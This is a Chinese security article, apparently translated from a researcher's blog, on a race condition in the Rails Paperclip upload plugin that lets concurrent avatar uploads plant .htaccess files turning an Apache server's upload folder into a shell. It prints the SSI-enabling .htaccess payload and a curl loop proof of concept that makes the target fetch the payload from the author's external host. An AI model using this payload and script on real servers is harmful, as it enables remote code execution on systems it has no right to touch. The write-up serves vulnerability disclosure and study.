有趣的安全实验:利用多线程资源竞争技术上传shell
通过多线程资源竞争的手段同时上传两个头像,就可以在Apache+Rails环境下实现远程代码执行。这并不是天方夜谭,同时我相信许多文件上传系统都会有这个漏洞……这是一个非常有趣的安全实验,一起来看看吧!
FreeBuf小科普:
Rails:某种基于Ruby语言的高效WEB框架。 Paperclip:Thoughtbot公司出品的Rails图片上传插件。 .htaccess:Apache服务器中的一个配置文件,笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
实验背景
十个月以前,我写了一份Paperclip的漏洞报告(利用版本号不高于3.5.3),该漏洞虽然简单但威力不俗,我们可以通过伪造Content-Type头部内容,使用任意扩展进行文件上传。
但是Paperclip官方却只是认为这是小问题——他们只把这个漏洞当作了一个跨站脚本漏洞(XSS)。好吧,小问题!但据我的研究,其实它是一个高危代码执行漏洞!
我在这里需要讲一讲,在Apache+Rails环境下实现的这个有趣的攻击实例。
利用.htaccess作为shell
根据Rails框架的特性,.php或者.pl文件默认都不会被执行。不过大家应该知道,在默认情况下网站目录下的.htaccess文件可以覆盖Apache的全局设置,尤其在Apache 2.3.8或者更早的版本,服务器会遵循AllowOverride All的规则。
最初我试图创建一个自包含的.htaccess shell,但一直没起作用。Apache不会把SSI处理器应用到.htaccess文件上,而是运用到特定名字的.htaccess上(如下文中的1.htaccess):
<Files ~ "^.ht"> Require all granted
# Order allow,deny
# Allow from all</Files>Options +Includes
AddType text/html .htaccess
AddOutputFilter INCLUDES .htaccess
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
#<!--#printenv -->
这种配置意味着我们需要准备两个文件(用于伪造头像文件):.htaccess和1.htaccess,而且它们必须“并发上传”。
什么,你说这不可能?那欢迎你来了解下并发的技术。
原理分析
在实验的时候,我发现每个文件上传系统都做了单独的认证。比如当注册用户在上传头像时,都会经过认证。当上传结束,现有的头像就会被删除掉。但大多数的这类系统,并没有对此进行严格审查,这让同时上传多个头像成为可能。
这里假设我们当前的头像为0.jpg,而5个同时发出的请求包里所含的文件名分别为1.jpg – 5.jpg。
系统会把这些图片文件上传到在“/uploads/user/%id%”目录下,然后再删除当前头像0.jpg。当然,替换0.jpg的文件可能是它们中的任何一个,因为处理某个请求同时进行替换操作的几率是不定的,只有最后执行的请求会在数据库生效。
最终存放该用户头像的文件夹会同时存在1.jpg – 5.jpg,没有成为头像的那四个图片文件,没有被程序删除。这个漏洞如果被巧妙利用的话,可以将网站服务器的空间撑满:)
并发上传获得shell
1.准备一个带有.htaccess的payload的URL地址,或者干脆用我的:http://sakurity.com/.htaccess或者http://sakurity.com/NUM.htaccess
2.用顺手的工具,炮制几个同时发出的头像上传的请求包。如果你喜欢使用curl的话,借用以下代码会上传5个.htaccess(当然,需要的话还可以改上限)。
利用POC代码如下:
for i in {1..5};
do
curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&user%5Bavatar%5D=http%3A%2F%2Fsakurity.com%2F'"$i"'.htaccess' &
curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&user%5Bavatar%5D=http%3A%2F%2Fsakurity.com%2F.htaccess' &
done
上传的目录可能会变成下面这样。另外,不是所有的请求都会成功,我这里只创建了八个任务(puma -w 8)。
在这里,可以看到shell已经存在:
http://lh:9292/system/users/avatars/000/000/001/original/1.htaccess
希望这个技巧和思路对你有所帮助。
[参考来源homakov,由FreeBuf小编dawner翻译整理,转载须注明来自FreeBuf.COM]
- poj-----(2528)Mayor's posters(线段树区间更新及区间统计+离散化)
- poj---(2886)Who Gets the Most Candies?(线段树+数论)
- Hadoop3.0通用版集群安装高可靠详细教程
- Hadoop3.0集群安装知识
- 分布式消息队列 RocketMQ 源码分析 —— Message 顺序发送与消费
- 深入解析快速排序算法的原理及其Go语言版实现
- Hadoop3.0: YARN Resource配置说明
- GO语言利用K近邻算法实现小说鉴黄
- Why Spring Boot
- 如何使用HammerDB进行MySQL基准测试
- 一个不可思议的MySQL慢查分析与解决
- Apache Spark 2.2中基于成本的优化器(CBO)
- golang的HTTP基本认证机制实例详解
- hdu----(3065)病毒侵袭持续中(AC自动机)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 算法篇:树之翻转树
- 每日一题 | 约瑟夫问题
- 编码的浪漫:完美序列化的官方评测
- 【Vulnhub】symfonos2
- PWN入门(unsafe unlink)
- tf_cnn_benchmark 显存问题
- Spark on Kubernetes PodTemplate 的配置
- IO ports
- 【android系统】使用s3来上传下载文件
- 【Spark on Kubernetes】Executor环境变量
- Python获取字典值
- 应用程序InetlliJ IDEA不能打开
- yum install空间不足
- prometheus-nginxlog-exporter构建Nginx日志监控
- s3cmd put文件的过程